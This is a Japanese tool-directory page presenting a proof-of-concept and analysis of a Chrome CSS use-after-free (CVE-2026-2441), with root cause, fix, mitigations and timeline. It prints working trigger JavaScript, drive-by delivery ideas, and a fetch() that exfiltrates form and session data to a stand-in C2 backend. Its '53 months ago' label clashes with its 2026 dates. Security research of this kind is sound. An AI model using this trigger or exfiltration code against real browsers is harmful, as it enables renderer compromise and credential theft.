Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-2441 — CVE-2026-2441の詳細な概念実証(PoC)と技術分析。Chrome CSSのuse-after-free(解放後使用)脆弱性で、巧妙に細工されたHTMLページを介してサンドボックス化されたレンダラーでのRCE(リモートコード実行)を可能にします。 | Kitploit
ツール/GitHubGitHub/martinastarone/cve-2026-2441
脆弱性分析エクスプロイトウェブアプリケーション悪用フィッシングマルウェア分析ペネトレーションテストコマンド&コントロール学習と教育レッドチーミングペイロード開発バイナリエクスプロイト
GitHub
53ヶ月前未レビュー
martinastarone/cve-2026-2441

CVE-2026-2441

CVE-2026-2441の詳細な概念実証(PoC)と技術分析。Chrome CSSのuse-after-free(解放後使用)脆弱性で、巧妙に細工されたHTMLページを介してサンドボックス化されたレンダラーでのRCE(リモートコード実行)を可能にします。

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-2441 — Chrome CSSFontFeatureValuesMap の Use-After-Free(解放後使用)

CVSS 8.8(高) | 実環境で活発に悪用 | レンダラー RCE(サンドボックス化)

Google Chrome の Blink CSS エンジンに存在する use-after-free(解放後使用)脆弱性です。リモートの攻撃者が、細工された HTML ページを介してブラウザのサンドボックス内で任意のコードを実行できる可能性があります。

脆弱性の詳細

項目値
CVECVE-2026-2441
CVSS8.8(高)
種別Use-After-Free(CWE-416)
コンポーネントBlink CSS — CSSFontFeatureValuesMap
ソースファイルthird_party/blink/renderer/core/css/css_font_feature_values_map.cc
修正コミット63f3cb4864c64c677cd60c76c8cb49d37d08319c
報告者Shaheen Fazim(2026-02-11)
パッチ日付2026-02-13
実環境での悪用あり — Google が活発な悪用を確認

影響を受けるバージョン

プラットフォーム脆弱なバージョン修正済みバージョン
Windows / macOS(Stable)< 145.0.7632.75>= 145.0.7632.75
Linux(Stable)< 144.0.7559.75>= 144.0.7559.75
Windows / macOS(Extended Stable)< 144.0.7559.177>= 144.0.7559.177
Chromium ベースのブラウザ(Edge、Brave、Opera、Vivaldi)ベンダーのアドバイザリを確認各社異なる

根本原因

FontFeatureValuesMapIterationSource は、内部の FontFeatureAliases HashMap への生のポインタ(const FontFeatureAliases* aliases_)を保持していました。イテレーション中に set() または delete() でマップが変更されると、HashMap は再ハッシュされ、新しいストレージを割り当てて古いストレージを解放します。生のポインタはダングリングになり、次の FetchNextItem() 呼び出しで解放済みメモリを読み取ることになります。

脆弱なコードパス

root@kitploit:~
CreateIterationSource()
  → FontFeatureValuesMapIterationSource(map, aliases_)
  → aliases_ = raw pointer to internal HashMap
  → iterator_ = aliases_->begin()

FetchNextItem()
  → reads iterator_->key  (through aliases_)

If map.set() / map.delete() is called between iterations:
  → HashMap rehashes (new alloc, old freed)
  → aliases_ → dangling pointer
  → iterator_ → invalidated
  → Next FetchNextItem() → USE-AFTER-FREE

修正内容

root@kitploit:~
- const FontFeatureAliases* aliases_;   // raw pointer → dangling after rehash
+ const FontFeatureAliases aliases_;    // deep copy → immune to rehash

この修正は、生のポインタを HashMap のディープコピーに置き換えます。元のマップが再ハッシュされても、イテレータは自身のコピーに対して動作するため、ダングリングポインタを防ぐことができます。

概念実証(PoC)

使用方法

  1. 脆弱なChrome バージョン(< 145.0.7632.75)で poc.html を開きます
  2. ページは 3 つの異なる方法で UAF のトリガーを試みます

期待される結果

Chrome バージョン期待される動作
< 145.0.7632.75(未パッチ)レンダラーのクラッシュ — STATUS_ACCESS_VIOLATION(Windows)または SIGSEGV(Linux/macOS)。Chrome に「このページを開けません」というエラーが表示されます。
>= 145.0.7632.75(パッチ適用済み)クラッシュなし — PoC は最後まで実行され、すべてのエントリが正常に読み取られます。

PoC の仕組み

PoC は、攻撃チェーンを明確かつ再現可能な順序で示すように構成されています。最初の部分で脆弱な Blink/CSS オブジェクトを作成し、2 番目の部分でイテレータの無効化をトリガーし、最後の部分で攻撃後の影響を安全な学術環境でシミュレートします。

重要な注意: UAF トリガーは、ブラウザが公開する実際の CSS/JavaScript API を使用して実装されています。ヒープリークとデータ流出ダッシュボードは、武器化された Chromium エクスプロイトを公開しないように、意図的に制御・シミュレートされています。

ステップ 1: 脆弱な CSS 構造の作成

ペイロードはまず CSS の @font-feature-values ルールを定義します:

root@kitploit:~
@font-feature-values VulnFont {
  @styleset {
    a0: 1; a1: 2; a2: 3; a3: 4;
    a4: 5; a5: 6; a6: 7; a7: 8;
  }
}

このルールにより、Blink は内部の CSSFontFeatureValuesMap を作成します。脆弱な実装では、イテレータが内部の FontFeatureAliases ストレージへの生のポインタを保持するため、このマップのイテレーションは安全ではありません。

JavaScript ペイロードはその後、スタイルシートからマップを取得します:

root@kitploit:~
const sheet = document.getElementById("uaf-style").sheet;
const rule = sheet.cssRules[0];
const map = rule && rule.styleset;

この時点で、攻撃者が制御するページは、内部の C++ 実装がイテレータの無効化に対して脆弱なブラウザオブジェクトへの JavaScript ハンドルを保持しています。

ステップ 2: UAF トリガーの遅延実行

トリガーはすぐには実行されません。PoC は脆弱なシーケンスを実行する前に 800 ms 待機します:

root@kitploit:~
setTimeout(triggerUAF, 800);

この遅延はデモの安定性のために使用されます。メモリ破壊トリガーが実行される前に、ページと偽の銀行認証フォームがレンダリングされるようにするためです。実際のドライブバイダウンロード攻撃では、悪意のあるページが読み込まれるとすぐに同じトリガーが自動的に起動される可能性もあります。

ステップ 3 — イテレータの作成とマップの同時変更

主要な UAF プリミティブは次のループです:

root@kitploit:~
const it = map.entries();
let step = 0;

while (step < 4) {
    const res = it.next();
    if (res.done) break;

    const [key] = res.value;

    map.delete(key);
    map.set("uaf_" + step, [step, step + 1]);

    step++;
}

脆弱性は、次の操作の順序によってトリガーされます:

root@kitploit:~
1. map.entries() creates an iterator over CSSFontFeatureValuesMap.
2. In the vulnerable Blink implementation, the iterator references the internal map storage.
3. it.next() reads the next entry through that iterator.
4. map.delete(key) mutates the same map while the iterator is still alive.
5. map.set(...) inserts a new entry and can force the underlying HashMap to rehash.
6. Rehashing may free or move the old storage.
7. The iterator may still reference the old storage.
8. The next iterator access can therefore become a Use-After-Free.

ステップ 4 — 積極的なヒープスプレーの代わりに制御されたヒープ圧力

当初の積極的な戦略では、より大きなヒープスプレーに似たループを使用していました。たとえば、削除のたびに 512 などの数百の新しいエントリを挿入します。これによりヒープ圧力が高まり、再割り当てと再利用の可能性が高まります。

ライブデモでは、これはわずか 4 つの変更ステップに減らされています:

root@kitploit:~
while (step < 4) {
    // iterator read + delete + set
}

その理由は実用的かつ教育的です。512 要素のスプレーは、多くの場合レンダラーを即座にクラッシュさせました。クラッシュは可用性への影響を証明するのに役立ちますが、デモの残りの部分でシミュレートされたデータ窃取と攻撃者ダッシュボードを表示できなくなります。縮小版でも、ライブプレゼンテーションに十分なブラウザの安定性を維持しながら、脆弱なイテレータ無効化ロジックを実証できます。

ステップ 5 — シミュレートされたヒープポインタリーク

実際の武器化された UAF エクスプロイトは通常、ヒープまたは V8 ポインタをリークして ASLR をバイパスするためのメモリ開示プリミティブを必要とします。デモは、実際の任意メモリ読み取りを実装していません。その代わりに、事前定義された静的範囲からヒープに似たアドレスを生成します:

root@kitploit:~
const base = 0x55a000000000 + Math.floor(Math.random() * 0x200000);

heapLeak = {
  raw:  "0x" + base.toString(16).toUpperCase(),
  base: "0x" + (base & ~0xfff).toString(16).toUpperCase()
};

この値は、シミュレートされたヒープリークです:

  • 0x55a000000000 は、デモで使用される固定のヒープに似た開始範囲です。
  • Math.random() * 0x200000 は、小さなランダム化オフセットを追加します。
  • base & ~0xfff は、アドレスをページ境界に揃えます。

その目的は、実際のメモリ開示エクスプロイトを実装せずに、ASLR バイパスリークが攻撃者ダッシュボードにどのように表示されるかを示すことです。

ステップ 6 — ローカル攻撃者バックエンドへのデータ流出

UAF トリガーとシミュレートされたヒープリークの後、PoC は収集したフォーム入力、ブラウザ内セッションデータ、DOM スニペット、UAF ステータス、シミュレートされたヒープリークを含むペイロードを構築します。ペイロードはローカルの攻撃者バックエンドに送信されます:

root@kitploit:~
await fetch("http://127.0.0.1:7777/collect", {
  method:  "POST",
  headers: {
    "Content-Type": "application/json",
    "X-C2-Origin": "evil-tracker-cdn.xyz"
  },
  body: JSON.stringify(payload)
});

ローカルバックエンドは POST /collect でデータを受信し、メモリに保存して、Server-Sent Events(GET /events)経由で攻撃者ダッシュボードに転送します。これは、ローカルかつ制御された環境に留めながら、実際の攻撃におけるコマンド&コントロール(C2)/データ流出フェーズをモデル化しています。

影響

即時的な影響(サンドボックス内)

  • レンダラープロセスのサンドボックス内での任意のコード実行
  • 情報開示 — V8 ヒープポインタのリーク(ASLR バイパス)、レンダラーメモリの内容の読み取り
  • 認証情報の窃取 — document.cookie、localStorage、sessionStorage、フォーム入力値の読み取り
  • セッションハイジャック — セッショントークンの窃取、fetch() / WebSocket / sendBeacon() による外部送信
  • DOM 操作 — フィッシングフォームの挿入、ページコンテンツの改ざん
  • キーロギング — addEventListener('keydown') によるすべてのキーストロークの取得

連鎖的な影響(サンドボックスエスケープとの併用)

別のサンドボックスエスケープ脆弱性と組み合わせると次のようになります:

root@kitploit:~
Renderer RCE (CVE-2026-2441)
    → Mojo IPC exploit → Browser process RCE
        → Kernel exploit → Full system compromise
            → Malware / ransomware / spyware installation
            → File system access, lateral movement, persistence

同様のブラウザ UAF を利用した実際のエクスプロイトチェーン:

  • NSO Pegasus — WebKit UAF + サンドボックスエスケープ + カーネルエクスプロイト
  • Intellexa Predator — Chrome UAF + Android カーネルエクスプロイト
  • APT-28(Fancy Bear) — Chrome 0-day + Windows LPE チェーン

攻撃ベクター

この脆弱性はドライブバイダウンロードにより悪用可能です。悪意のあるページにアクセスする以外のユーザー操作は必要ありません:

  • マルバタイジング — 正規の広告ネットワークを通じて配信される悪意のある広告
  • ウォーターホール攻撃 — 標的が頻繁に訪れるサイトを侵害する
  • スピアフィッシング — 電子メールやメッセージング経由で細工されたリンクを送信する

緩和策

  1. Chrome を更新する — Windows/macOS では >= 145.0.7632.75、Linux では >= 144.0.7559.75
  2. Chromium ベースのブラウザを更新する(Edge、Brave、Opera、Vivaldi)— ベンダーのパッチが利用可能になったら
  3. サイト分離が有効になっていることを確認する(chrome://flags/#site-isolation-trial-opt-out)
  4. 修正済みビルドより古い Chrome バージョンがないかエンドポイントを監視する

タイムライン

日付イベント
2026-02-11脆弱性が Shaheen Fazim によって報告される
2026-02-13Google が Chrome 145.0.7632.75/76(Windows/macOS)、144.0.7559.75(Linux)をリリース
2026-02-13Google が実環境での悪用を確認
2026-02-16Vivaldi と Opera が修正をリリース

参考情報

  • Google Chrome Releases Blog
  • NVD — CVE-2026-2441
  • The Hacker News — 活発に悪用されている Chrome ゼロデイ
  • Chromium Issue Tracker(閲覧制限あり)

サポート

この調査が役に立ったと思われたら、コーヒーをごちそうしていただけると幸いです:

Buy Me A Coffee

免責事項

この概念実証(PoC)は、教育および正規に許可されたセキュリティ研究の目的のみで提供されます。明示的な許可なくこの PoC をシステムに対して使用することは違法かつ非倫理的です。著者は悪用について一切の責任を負いません。

ライセンス

MIT

ツールをダウンロード